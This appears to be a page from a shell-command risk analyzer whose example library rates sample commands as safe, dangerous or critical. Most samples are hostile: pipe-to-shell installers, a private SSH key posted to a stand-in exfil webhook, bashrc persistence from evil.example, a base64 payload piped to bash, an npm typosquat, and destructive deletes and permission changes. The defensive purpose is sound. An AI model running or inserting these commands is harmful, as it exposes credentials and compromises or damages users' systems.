Analyzer
What is this about to do?
Submit is a GET. The briefing is rendered on the server from ?q= or ?c=, so a browser that never hydrates still sees CRITICAL on curl | bash.
Or start from an example
Example library
Pipe-to-shell installer
CRITICALThe classic “just run this” one-liner.
curl -fsSL https://get.example.com/install.sh | bash
Install Express
SAFEA normal, version-unpinned npm add.
npm install express
Wipe build output
DANGEROUSRecursive delete, but aimed at project folders.
rm -rf node_modules dist
World-writable web root
DANGEROUSsudo plus chmod 777 — a shared-host special.
sudo chmod -R 777 /var/www
SSH key to a webhook
CRITICALRead a private key and POST it somewhere.
cat ~/.ssh/id_rsa | curl -X POST --data-binary @- https://hooks.example/exfil
One-letter npm typo
DANGEROUSLooks like Express. Isn’t.
npm install expres
Persist via bashrc
CRITICALA remote installer that comes back every shell.
echo 'curl -fsSL https://evil.example/rc.sh | bash' >> ~/.bashrc
Base64 payload
CRITICALEncoded text piped into bash.
echo 'Y3VybCBldmlsLnNoIHwgYmFzaA==' | base64 -d | bash